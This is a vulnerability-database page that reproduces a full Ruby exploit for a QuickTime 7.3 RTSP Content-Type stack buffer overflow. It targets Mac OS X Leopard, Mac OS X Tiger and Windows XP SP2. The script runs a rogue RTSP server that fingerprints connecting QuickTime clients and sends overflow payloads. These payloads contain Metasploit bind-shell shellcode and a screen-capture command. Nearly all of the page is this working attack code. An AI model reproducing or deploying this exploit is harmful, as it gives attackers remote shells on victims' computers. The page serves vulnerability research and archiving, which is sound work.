Lucene search
K

aquick-winosx.txt

🗓️ 30 Nov 2007 00:00:00Reported by Subreption LLCType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Security code exploit for Apple QuickTime on Windows and Mac OS X Details on specific exploits, bad characters, and testing environments. Includes acknowledgments to contributors.

Related
Code
`# Copyright (C) 2007 Subreption LLC. All rights reserved.  
# Visit http://blog.subreption.com for exploit development notes.  
#  
# References:  
# http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code)  
# http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit)  
# From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore)  
# http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252  
# BID: http://www.securityfocus.com/bid/26549  
#  
# Notes:  
# Payload badchars: \x00 \x09 \x0a \x0d \x20 \x22 \x25 \x26 \x27 \x2b \x2f  
# \x3a \x3c \x3e \x3f \x40  
#  
# The example addresses and data will trigger an IDS signature easily.  
# Remove them if you're not testing, and change padding sizes accordingly.   
# Use the String.rand_alpha() method to generate random strings.  
#  
# Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2)  
#  
# We would like to thank...  
# Kevin Finisterre, for providing PowerPC testing environment and general  
# aid in the development and proofing of this code for Mac OS X on PPC.  
  
# HD Moore for his suggestions and Metasploit code.  
#  
# Distributed under the terms of the Subreption Open Source License v1.0  
# http://static.subreption.com/public/documents/subreption-sosl-1.0.txt  
#  
  
require 'socket'  
include Socket::Constants  
  
def String.rand_alpha(size = 16)  
(1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join  
end  
  
module MiscUtils  
def self.myputs(msg)  
puts "#{$0}: #{msg}"  
end  
  
# From Metasploit Rex library:  
# http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb  
def self.rel_number(num, delta = 0)  
s = num.to_s  
case s[0, 2]  
when '$+'  
num = s[2 .. -1].to_i  
when '$-'  
num = -1 * s[2 .. -1].to_i  
when '0x'  
num = s.hex  
else  
delta = 0  
end  
return num + delta  
end  
end  
  
# msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit()  
MSF_OSX_X86 =  
"\x31\xc0\x50\x68\xff\x02\x14\xea\x89\xe7\x50\x6a\x01\x6a\x02\x6a" +  
"\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89\x47\xec" +  
"\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58\xcd\x80\xff" +  
"\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" +  
"\xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x50\xb0\x01\xcd" +  
"\x80"  
  
# msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2  
MSF_WIN_X86 =  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x37\x49\x49\x49\x49" +  
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42" +  
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x32\x42\x42\x32\x41" +  
"\x41\x30\x41\x41\x58\x42\x50\x38\x42\x42\x75\x39\x79\x4b\x4c\x61" +  
"\x7a\x38\x6b\x50\x4d\x68\x68\x69\x69\x4b\x4f\x4b\x4f\x59\x6f\x53" +  
"\x50\x4e\x6b\x32\x4c\x44\x64\x35\x74\x6e\x6b\x30\x45\x57\x4c\x4e" +  
"\x6b\x41\x6c\x64\x45\x51\x68\x46\x61\x4a\x4f\x6c\x4b\x30\x4f\x46" +  
"\x78\x6c\x4b\x71\x4f\x47\x50\x33\x31\x5a\x4b\x61\x59\x6e\x6b\x50" +  
"\x34\x4e\x6b\x46\x61\x78\x6e\x50\x31\x69\x50\x4e\x79\x4e\x4c\x4b" +  
"\x34\x6b\x70\x52\x54\x63\x37\x38\x41\x6a\x6a\x44\x4d\x63\x31\x6b" +  
"\x72\x68\x6b\x49\x64\x77\x4b\x30\x54\x41\x34\x45\x78\x52\x55\x69" +  
"\x75\x6e\x6b\x73\x6f\x75\x74\x56\x61\x7a\x4b\x33\x56\x4e\x6b\x36" +  
"\x6c\x72\x6b\x4c\x4b\x53\x6f\x35\x4c\x77\x71\x38\x6b\x47\x73\x44" +  
"\x6c\x6e\x6b\x4b\x39\x32\x4c\x35\x74\x77\x6c\x65\x31\x69\x53\x56" +  
"\x51\x49\x4b\x65\x34\x4e\x6b\x67\x33\x34\x70\x4c\x4b\x77\x30\x74" +  
"\x4c\x6e\x6b\x64\x30\x47\x6c\x4c\x6d\x6e\x6b\x41\x50\x63\x38\x53" +  
"\x6e\x70\x68\x4e\x6e\x62\x6e\x56\x6e\x38\x6c\x52\x70\x6b\x4f\x7a" +  
"\x76\x72\x46\x61\x43\x43\x56\x52\x48\x77\x43\x64\x72\x51\x78\x71" +  
"\x67\x50\x73\x70\x32\x71\x4f\x31\x44\x4b\x4f\x4a\x70\x75\x38\x78" +  
"\x4b\x68\x6d\x49\x6c\x75\x6b\x46\x30\x4b\x4f\x79\x46\x53\x6f\x6f" +  
"\x79\x38\x65\x73\x56\x4c\x41\x58\x6d\x64\x48\x65\x52\x72\x75\x32" +  
"\x4a\x73\x32\x49\x6f\x4a\x70\x33\x58\x78\x59\x63\x39\x39\x65\x4c" +  
"\x6d\x72\x77\x6b\x4f\x6e\x36\x50\x53\x52\x73\x51\x43\x70\x53\x33" +  
"\x63\x71\x53\x63\x63\x61\x53\x33\x63\x4b\x4f\x5a\x70\x73\x56\x51" +  
"\x78\x37\x61\x41\x4c\x50\x66\x53\x63\x6c\x49\x5a\x41\x5a\x35\x51" +  
"\x78\x4d\x74\x67\x6a\x30\x70\x4b\x77\x66\x37\x79\x6f\x4b\x66\x41" +  
"\x7a\x32\x30\x72\x71\x33\x65\x59\x6f\x38\x50\x70\x68\x6f\x54\x6e" +  
"\x4d\x64\x6e\x38\x69\x32\x77\x4b\x4f\x4e\x36\x51\x43\x41\x45\x39" +  
"\x6f\x4a\x70\x71\x78\x4a\x45\x71\x59\x6d\x56\x43\x79\x76\x37\x4b" +  
"\x4f\x39\x46\x52\x70\x72\x74\x46\x34\x31\x45\x4b\x4f\x68\x50\x4e" +  
"\x73\x43\x58\x6b\x57\x71\x69\x6f\x36\x53\x49\x76\x37\x6b\x4f\x38" +  
"\x56\x71\x45\x6b\x4f\x48\x50\x35\x36\x70\x6a\x31\x74\x45\x36\x31" +  
"\x78\x62\x43\x32\x4d\x6f\x79\x7a\x45\x71\x7a\x30\x50\x33\x69\x46" +  
"\x49\x6a\x6c\x6b\x39\x6a\x47\x73\x5a\x51\x54\x6f\x79\x6d\x32\x30" +  
"\x31\x59\x50\x38\x73\x4d\x7a\x59\x6e\x43\x72\x36\x4d\x69\x6e\x73" +  
"\x72\x54\x6c\x6f\x63\x4c\x4d\x72\x5a\x74\x78\x4c\x6b\x6c\x6b\x6e" +  
"\x4b\x35\x38\x50\x72\x6b\x4e\x4c\x73\x64\x56\x4b\x4f\x43\x45\x32" +  
"\x64\x79\x6f\x7a\x76\x33\x6b\x32\x77\x62\x72\x63\x61\x33\x61\x30" +  
"\x51\x30\x6a\x53\x31\x71\x41\x46\x31\x52\x75\x32\x71\x6b\x4f\x4e" +  
"\x30\x70\x68\x4e\x4d\x7a\x79\x46\x65\x4a\x6e\x72\x73\x69\x6f\x58" +  
"\x56\x72\x4a\x69\x6f\x69\x6f\x66\x57\x39\x6f\x58\x50\x4c\x4b\x41" +  
"\x47\x6b\x4c\x6c\x43\x4f\x34\x32\x44\x4b\x4f\x68\x56\x76\x32\x4b" +  
"\x4f\x4e\x30\x71\x78\x33\x4e\x6a\x78\x49\x72\x43\x43\x61\x43\x4b" +  
"\x4f\x48\x56\x69\x6f\x6a\x70\x42"  
  
module AppleOSX  
class QuicktimeRedux  
TARGET_MATRIX = {  
# Mac OS X Leopard on PowerPC (ppc)  
"7.3-Mac 10.5.1-PPC" => {  
# Stack on PPC is still executable  
:ret_address => 0xbfffcb0c+50,  
:padding_size => 559,  
  
# Shellcode will -likely- require changes here  
:prepend_data => (  
[0xdead5841].pack("N") + # r22  
[0xdead5842].pack("N") + # r23  
[0xdead4141].pack("N") + # r24  
[0xdead4142].pack("N") + # r25  
[0xdead4143].pack("N") + # r26  
[0xdead4144].pack("N") + # r27  
[0xdead4145].pack("N") + # r28  
[0xdead4146].pack("N") + # r29  
[0xdead4147].pack("N") + # r30  
[0xdead4148].pack("N") + # r31  
[0xdead4150].pack("N") + #  
[0xdead4151].pack("N") + #  
[0xdead4152].pack("N") + # at $sp+0  
[0xdead4153].pack("N") # at $sp+4  
),  
:append_data => (""),  
:shellcode => ( "\x69" * 120 )  
},  
  
# Mac OS X Leopard on IA32 (x86) build 9B18  
"7.3-Mac 10.5.1-IA32" => {  
# Return-to-dyld stub is not reliable unless the machine  
# hasn't randomized the dyld base address.  
:ret_address => 0xdeadbeef,  
:padding_size => 291,  
:prepend_data => (  
[0x11223344].pack("V") + # ebx  
[0x41424142].pack("V") + # esi  
[0x31337666].pack("V") + # edi  
[0xdefacedd].pack("V") # ebp  
),  
:append_data => (  
[0xa0a7e44a].pack("V") + # to dyld_stub_exit  
[0xbffffaa3].pack("V") # address to /bin/bash  
),  
  
:shellcode => (  
"screencapture -S ~/Desktop/US.png; exit;" +  
("\x90" * 130) + MSF_OSX_X86  
)  
},  
  
# Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11)  
# Apparently, it advertises 10.4.9 instead of 10.4.11  
"7.3-Mac 10.4.9-IA32" => {  
# Return-to-dyld stub works reliably on Tiger  
# 0xa0be2280 for dyld_stub_system  
:ret_address => 0xa0be2280,  
:padding_size => 291,  
:prepend_data => (  
[0x917f1413].pack("V") + # ebx  
[0xffffeae6].pack("V") + # esi  
[0x14533050].pack("V") + # edi  
[0xbfffd27c].pack("V") # ebp  
),  
  
# exit() stub is problematic with some atexit code  
# because of corrupted frames, we use abort() instead.  
# A /bin/bash string (from env) is usually at 0xbffffc23  
# when running under gdb, or 0xbffffe5c if started  
# via dock. If started from Terminal, it's at 0xbffffc3e.  
:append_data => (  
[0xa0815587].pack("V") + # to dyld_stub_abort  
[0xbffffc3e].pack("V") # address system() command  
),  
  
# NOP sled + Metasploit shellcode + NOP sled + int3  
:shellcode => (  
("\x90" * 140) + MSF_OSX_X86 + ("\x90" * 30) + "\xcc"  
)  
},  
  
# Mac OS X Tiger on PowerPC (PPC)  
# It also advertises 10.4.9 instead of 10.4.11  
"7.3-Mac 10.4.9-PPC" => {  
# Stub address for system() contains a null byte.  
# system() address contains filtered char.  
:ret_address => 0xdeadbeef,  
:padding_size => 559,  
:prepend_data => (  
[0xdead5841].pack("N") + # r22  
[0xdead5842].pack("N") + # r23  
[0xdead4141].pack("N") + # r24  
[0xdead4142].pack("N") + # r25  
[0xdead4143].pack("N") + # r26  
[0xdead4144].pack("N") + # r27  
[0xdead4145].pack("N") + # r28  
[0xdead4146].pack("N") + # r29  
[0xdead4147].pack("N") + # r30  
[0xdead4148].pack("N") + # r31  
String.rand_alpha(16)  
),  
:append_data => (  
[0x942bce80].pack("N") + # to dyld_stub_abort  
[0x58585858].pack("N")  
),  
:shellcode => (  
"\x69" * 120  
)  
},  
  
# Microsoft Windows targets  
  
# 7.3 on XP SP2, based on the original Metasploit module by MC  
# This one is elegant and reliable :)  
# (uses address from QuickTimeStreaming.qtx version 7.3.0.70)  
"7.3-Windows NT 5.1Service Pack 2-IA32" => {  
# pop esi; pop ebx; ret  
:ret_address => 0x67644297,  
:padding_size => 991+MSF_WIN_X86.size,  
:prepend_data => (  
"\xeb" + [MiscUtils::rel_number(6, -2)].pack("V")[0,1] +  
"\x90\x90"  
),  
:append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),  
:shellcode => MSF_WIN_X86  
},  
  
# 7.3 on Vista  
# We are not including it yet, feel free to play around  
"7.3-Windows NT 6.0-IA32" => {  
:ret_address => 0xdeadbeef,  
:padding_size => 991+MSF_WIN_X86.size,  
:prepend_data => (""),  
:append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),  
:shellcode => MSF_WIN_X86  
}  
}  
  
# Generates headers for a Quicktime RTSP response, and injects  
# the payload into the Content-Type header (including the padding).  
def make_header(body_length, payload)  
"RTSP/1.0 200 OK\r\n" +  
"CSeq: 1\r\n" +  
"Content-Base: rtsp://0.0.0.0/#{@mpfile}\r\n" +  
"Content-Type: #{payload}\r\n" +  
"Content-Length: #{body_length}\r\n" +  
"\r\n"  
end  
  
# Generates a body for a Quicktime RTSP response  
def make_body  
rand_str = String.rand_alpha(rand(10)+1)  
rand_nam = String.rand_alpha(rand(20)+1)  
"v=0\r\n" +  
"o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0\r\n" +  
"s=MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n" +  
"i=#{@mpfile}\r\n" +  
"t=0 0\r\n" +  
"a=tool:#{rand_nam}\r\n" +  
"a=type:broadcast\r\n" +  
"a=control:*\r\n" +  
"a=range:npt=0-213.077\r\n" +  
"a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n" +  
"a=x-qt-text-inf:#{@mpfile}\r\n" +  
"m=audio 0 RTP/AVP 14\r\n" +  
"c=IN IP4 0.0.0.0\r\n" +  
"a=control:track1\r\n"  
end  
  
# Construct a payload without filtered characters, for the target provided.  
# The information is extracted from the target matrix variable.  
def build_payload(target)  
target_name = "#{target[:version]}-#{target[:os]}-#{target[:arch]}"  
selected = TARGET_MATRIX[target_name]  
unless selected  
MiscUtils::myputs "Target not available, check User-Agent format!"  
MiscUtils::myputs target_name  
return ''  
end  
  
MiscUtils::myputs "Building payload for '#{target_name}'..."  
MiscUtils::myputs "Return address: #{sprintf("0x%08x",selected[:ret_address])}, " +  
"shellcode: #{selected[:shellcode].size} bytes."  
  
payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size)  
  
unless target[:os] =~ /Windows/  
payload << selected[:shellcode]  
payload << selected[:prepend_data]  
  
# Handle big-endian / little-endian  
if target[:arch] == "PPC"  
payload << [selected[:ret_address]].pack("N")  
else  
payload << [selected[:ret_address]].pack("V")  
end  
else  
payload << selected[:prepend_data]  
payload << [selected[:ret_address]].pack("V")  
payload << selected[:shellcode]  
end  
  
# Appended data comes always at end of payload  
payload << selected[:append_data]  
  
MiscUtils::myputs "Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)"  
  
return payload  
end  
  
# Threaded 'listener': waits until a Quicktime client connects and fingerprints  
# its version, architecture and operating system version. Builds a response with  
# the correct payload and sends it back to the client.  
def exploit  
loop do  
socket = @server.accept  
Thread.start do  
s = socket  
port = s.peeraddr[1]  
name = s.peeraddr[2]  
addr = s.peeraddr[3]  
  
MiscUtils::myputs "RTSP Connection from #{name} (#{addr}:#{port})"  
  
request = s.recv(1024)  
# Verify it's Quicktime and not some other application  
# ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0)  
if request =~ /User-Agent: QuickTime/i  
target = Hash.new  
  
if request =~ /Windows/  
qtver = request.scan(/\(qtver=(.+?);os=(.+?)\)\r\n/).flatten  
target[:version] = qtver[0]  
target[:arch] = "IA32"  
target[:os] = qtver[1]  
else  
qtver = request.scan(/\(qtver=(.+?);cpu=(.+?);os=(.+?)\)\r\n/).flatten  
target[:version] = qtver[0]  
target[:arch] = qtver[1]  
target[:os] = qtver[2]  
end  
  
MiscUtils::myputs "RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}"  
  
# Build payload and the full response body  
begin  
payload = build_payload(target)  
body = make_body()  
header = make_header(body.size, payload)  
resp = (header+body)  
rescue  
raise "Something happened trying to build a response!"  
end  
  
# Send it to the client  
s.write(resp)  
  
MiscUtils::myputs "RTSP Sent #{resp.size} bytes..."  
else  
# It's not a Quicktime client  
MiscUtils::myputs "RTSP Connection doesn't seem to come from Quicktime!"  
s.write(String.rand_alpha(rand(500)))  
end  
end  
end  
end  
  
# Initialize the exploit with the local listening port, server socket, etc.  
def initialize(rtsp_port = 554)  
@server = TCPServer.new("0.0.0.0", rtsp_port)  
@mpfile = String.rand_alpha(rand(12)+1) + '.mp3'  
  
rtsp_addrs = @server.addr[2..-1].uniq.collect{|a|"#{a}:#{rtsp_port}"}.join(' ')  
MiscUtils::myputs "RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}"  
MiscUtils::myputs "RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}"  
end  
end  
end  
  
trap("INT") do  
puts "Exiting!"  
exit  
end  
  
puts "Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit"  
puts "Copyright (C) 2007, Subreption LLC. All rights reserved."  
test_run = AppleOSX::QuicktimeRedux.new()  
test_run.exploit  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation